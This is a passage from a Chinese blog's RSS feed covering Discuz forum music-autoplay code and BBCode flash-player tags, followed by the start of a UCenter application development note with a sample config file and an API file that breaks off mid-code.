style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'swf'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;script type=&quot;text/javascript&quot; reload=&quot;1&quot;&gt;document.write(AC_FL_RunContent(\'width\', \''</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'\', \'height\', \''</span><span style="color: #339933;">.</span><span style="color: #000088;">$height</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'\', \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\'));&lt;/script&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'asf'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'asx'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'wmv'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mms'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'avi'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mpg'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mpeg'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;object classid=&quot;clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$height</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;&gt;&lt;param name=&quot;invokeURLs&quot; value=&quot;0&quot;&gt;&lt;param name=&quot;autostart&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$autostart</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;url&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;embed src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; autostart=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$autostart</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; type=&quot;application/x-mplayer2&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$height</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;&gt;&lt;/embed&gt;&lt;/object&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'mov'</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;object classid=&quot;clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$height</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;&gt;&lt;param name=&quot;autostart&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$autostart</span> ? <span style="color: #0000ff;">''</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">'false'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;param name=&quot;src&quot; value=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; /&gt;&lt;embed src=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; autostart=&quot;'</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$autostart</span> ? <span style="color: #0000ff;">'true'</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">'false'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; type=&quot;video/quicktime&quot; controller=&quot;true&quot; width=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$width</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; height=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$height</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;&gt;&lt;/embed&gt;&lt;/object&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">default</span><span style="color: #339933;">:</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;a href=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; target=&quot;_blank&quot;&gt;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/a&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>从代码可以看出media标签只要存在第四个参数就可以使自动播放的条件为真，再调用 parseaudio解析时就会设置成自动播放。</p>
<p>二、第二种方法是用flash标签实现</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&amp;width=25&amp;songVolume=100&amp;backColor=ffffff&amp;frontColor=ffffff&amp;autoStart=true&amp;repeatPlay=true&amp;showDownload=false&amp;2.swf[/flash]　　　白色播放器<br />
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&amp;width=150&amp;songVolume=100&amp;backColor=ff80c0&amp;frontColor=ffffff&amp;autoStart=true&amp;repeatPlay=true&amp;showDownload=false&amp;2.swf[/flash]　 　　粉色播放器<br />
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&amp;width=150&amp;songVolume=100&amp;backColor=000000&amp;frontColor=ffffff&amp;autoStart=true&amp;repeatPlay=true&amp;showDownload=false&amp;2.swf[/flash] 　　黑色播放器<br />
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&amp;width=150&amp;songVolume=100&amp;backColor=8080ff&amp;frontColor=ffffff&amp;autoStart=true&amp;repeatPlay=true&amp;showDownload=false&amp;2.swf[/flash]　　紫色播放器<br />
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&amp;width=150&amp;songVolume=100&amp;backColor=ff0080&amp;frontColor=ffffff&amp;autoStart=true&amp;repeatPlay=true&amp;showDownload=false&amp;2.swf[/flash]　　深粉色播放器<br />
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&amp;width=150&amp;songVolume=100&amp;backColor=ff8080&amp;frontColor=ffffff&amp;autoStart=true&amp;repeatPlay=true&amp;showDownload=false&amp;2.swf[/flash]　　橙色播放器<br />
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&amp;width=150&amp;songVolume=100&amp;backColor=408080&amp;frontColor=ffffff&amp;autoStart=true&amp;repeatPlay=true&amp;showDownload=false&amp;2.swf[/flash]　　绿色播放器<br />
[flash]http://www.51119.com/play/swf/2.swf?file=歌曲地址&amp;width=25&amp;songVolume=100&amp;backColor=0080c0&amp;frontColor=7bb5e3&amp;autoStart=true&amp;repeatPlay=true&amp;showDownload=false&amp;2.swf[/flash]　　深蓝色播放器</div></td></tr></tbody></table></div>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=3495";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=3495" title="Permanent Link to discuz论坛中发帖之音乐自动播放方法" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=3495</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2010年04月17日  //  <a href="http://ihacklog.com/php/wordpress/plugins/add-wp-shortcode-to-enable-media-playing.html" title="不用audio-player插件也播放mp3">不用audio-player插件也播放mp3</a> (19)</li><li>2011年06月30日  //  <a href="http://ihacklog.com/security_optimization/discuz-x2-sql-injection-bug-20110629.html" title="Discuz! X2 SQL注射漏洞 (20110629)">Discuz! X2 SQL注射漏洞 (20110629)</a> (3)</li><li>2010年04月24日  //  <a href="http://ihacklog.com/php/discuz/add-beautiful-flash-audio-player-for-dz.html" title="为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]">为discuz添加漂亮的mp3播放器[适合discuz 7.2/discuz X2]</a> (6)</li><li>2010年04月23日  //  <a href="http://ihacklog.com/php/original/top100-album-music-batch-down.html" title="top100.cn 巨鲸音乐专辑下载地址批量获取工具">top100.cn 巨鲸音乐专辑下载地址批量获取工具</a> (13)</li><li>2010年04月5日  //  <a href="http://ihacklog.com/php/original/wp-audio-player-mp3-url-totally-decode.html" title="再说wp Audio Player 插件音乐地址解密">再说wp Audio Player 插件音乐地址解密</a> (21)</li><li>2010年03月3日  //  <a href="http://ihacklog.com/memory/music/my-fav-music.html" title="喜欢听的歌">喜欢听的歌</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/discuz/discuz-code-of-music-autoplay.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>ucenter应用开发笔记之通信篇</title>
		<link>http://ihacklog.com/php/discuz/ucenter-application-developing-note.html</link>
		<comments>http://ihacklog.com/php/discuz/ucenter-application-developing-note.html#comments</comments>
		<pubDate>Sat, 28 Nov 2009 02:52:20 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[discuz]]></category>
		<category><![CDATA[ucenter]]></category>

		<guid isPermaLink="false">http://www.hacklog.cn/?p=3279</guid>
		<description><![CDATA[前面做了个I feel lucky ,Joya说到验证问题，说只允许wpg成员加入此活动， 我当时由于时间仓促，就只简单地加上个UID填写再加上后台人工审核认证， 现在觉得其实可以有更好的验证办法。 由于WPG会员都有论坛ID，所以可以用UCenter来验证添加链接的人是不是WPG成员。此处不討論这个如何实现，只说一下想法。 下面是简单地做一下通信测试。 应用路径： /var/www/test/mywebsite 1，先到Ucenter后台添加一个新应用： 2，部署相关文件 应用路径： /var/www/...]]></description>
			<content:encoded><![CDATA[<p>前面做了个<a href="http://www.ihacklog.com/l.php?url=wpg.im/lucky/IFeelLucky/" target="_blank">I feel lucky </a>,Joya说到验证问题，说只允许wpg成员加入此活动， 我当时由于时间仓促，就只简单地加上个UID填写再加上后台人工审核认证，<br />
现在觉得其实可以有更好的验证办法。<br />
由于WPG会员都有论坛ID，所以可以用UCenter来验证添加链接的人是不是WPG成员。此处不討論这个如何实现，只说一下想法。<br />
下面是简单地做一下通信测试。</p>
<p>应用路径： /var/www/test/mywebsite</p>
<p>1，先到Ucenter后台添加一个新应用：<br />
<a href="http://static.ihacklog.com/wp-files/2009/11/ucenter_add_app.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2009/11/ucenter_add_app-550x342.png" alt="ucenter_add_app" title="ucenter_add_app" width="550" height="342" class="alignnone size-medium wp-image-3280" /> </a></p>
<p>2，部署相关文件<br />
应用路径： /var/www/test/mywebsite</p>
<p> /var/www/test/mywebsite/config.inc.php.php</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #666666; font-style: italic;">// ============================================================================</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_CONNECT'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'mysql'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_DBHOST'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'localhost'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_DBUSER'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'discuz'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_DBPW'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'123456'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_DBNAME'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'discuz'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_DBCHARSET'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'utf8'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_DBTABLEPRE'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'`discuz`.uc_'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_DBCONNECT'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'0'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #666666; font-style: italic;">//通信相关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_KEY'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'123456'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_API'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'http://dz.hacklog.com/UCenter'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_CHARSET'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'utf-8'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_IP'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'192.168.1.111'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_APPID'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'6'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_PPP'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'20'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<br />
<span style="color: #666666; font-style: italic;">//ucexample_2.php 用到的应用程序数据库连接参数</span><br />
<span style="color: #000088;">$dbhost</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'localhost'</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// 数据库服务器</span><br />
<span style="color: #000088;">$dbuser</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// 数据库用户名</span><br />
<span style="color: #000088;">$dbpw</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'我不告诉你'</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// 数据库密码</span><br />
<span style="color: #000088;">$dbname</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'blogshow'</span><span style="color: #339933;">;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// 数据库名</span><br />
<span style="color: #000088;">$pconnect</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// 数据库持久连接 0=关闭, 1=打开</span><br />
<span style="color: #000088;">$tablepre</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// 表名前缀, 同一数据库安装多个论坛请修改此处</span><br />
<span style="color: #000088;">$dbcharset</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'utf8'</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// MySQL 字符集, 可选 'gbk', 'big5', 'utf8', 'latin1', 留空为按照论坛字符集设定</span><br />
<br />
<span style="color: #666666; font-style: italic;">//同步登录 Cookie 设置</span><br />
<span style="color: #000088;">$cookiedomain</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// cookie 作用域</span><br />
<span style="color: #000088;">$cookiepath</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/'</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// cookie 作用路径</span></div></td></tr></tbody></table></div>
<p>将discuz目录下的uc_client目录复制到应用目录下。<br />
再在应用目录下新建一名为api的目录，其下建新一名为uc.php的文件：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br />62<br />63<br />64<br />65<br />66<br />67<br />68<br />69<br />70<br />71<br />72<br />73<br />74<br />75<br />76<br />77<br />78<br />79<br />80<br />81<br />82<br />83<br />84<br />85<br />86<br />87<br />88<br />89<br />90<br />91<br />92<br />93<br />94<br />95<br />96<br />97<br />98<br />99<br />100<br />101<br />102<br />103<br />104<br />105<br />106<br />107<br />108<br />109<br />110<br />111<br />112<br />113<br />114<br />115<br />116<br />117<br />118<br />119<br />120<br />121<br />122<br />123<br />124<br />125<br />126<br />127<br />128<br />129<br />130<br />131<br />132<br />133<br />134<br />135<br />136<br />137<br />138<br />139<br />140<br />141<br />142<br />143<br />144<br />145<br />146<br />147<br />148<br />149<br />150<br />151<br />152<br />153<br />154<br />155<br />156<br />157<br />158<br />159<br />160<br />161<br />162<br />163<br />164<br />165<br />166<br />167<br />168<br />169<br />170<br />171<br />172<br />173<br />174<br />175<br />176<br />177<br />178<br />179<br />180<br />181<br />182<br />183<br />184<br />185<br />186<br />187<br />188<br />189<br />190<br />191<br />192<br />193<br />194<br />195<br />196<br />197<br />198<br />199<br />200<br />201<br />202<br />203<br />204<br />205<br />206<br />207<br />208<br />209<br />210<br />211<br />212<br />213<br />214<br />215<br />216<br />217<br />218<br />219<br />220<br />221<br />222<br />223<br />224<br />225<br />226<br />227<br />228<br />229<br />230<br />231<br />232<br />233<br />234<br />235<br />236<br />237<br />238<br />239<br />240<br />241<br />242<br />243<br />244<br />245<br />246<br />247<br />248<br />249<br />250<br />251<br />252<br />253<br />254<br />255<br />256<br />257<br />258<br />259<br />260<br />261<br />262<br />263<br />264<br />265<br />266<br />267<br />268<br />269<br />270<br />271<br />272<br />273<br />274<br />275<br />276<br />277<br />278<br />279<br />280<br />281<br />282<br />283<br />284<br />285<br />286<br />287<br />288<br />289<br />290<br />291<br />292<br />293<br />294<br />295<br />296<br />297<br />298<br />299<br />300<br />301<br />302<br />303<br />304<br />305<br />306<br />307<br />308<br />309<br />310<br />311<br />312<br />313<br />314<br />315<br />316<br />317<br />318<br />319<br />320<br />321<br />322<br />323<br />324<br />325<br />326<br />327<br />328<br />329<br />330<br />331<br />332<br />333<br />334<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_CLIENT_VERSION'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'1.5.0'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; <span style="color: #666666; font-style: italic;">//note UCenter 版本标识</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'UC_CLIENT_RELEASE'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'20081031'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_DELETEUSER'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 用户删除 API 接口开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_RENAMEUSER'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 用户改名 API 接口开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_GETTAG'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 获取标签 API 接口开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_SYNLOGIN'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 同步登录 API 接口开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_SYNLOGOUT'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 同步登出 API 接口开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_UPDATEPW'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 更改用户密码 开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_UPDATEBADWORDS'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 更新关键字列表 开关</span><br />
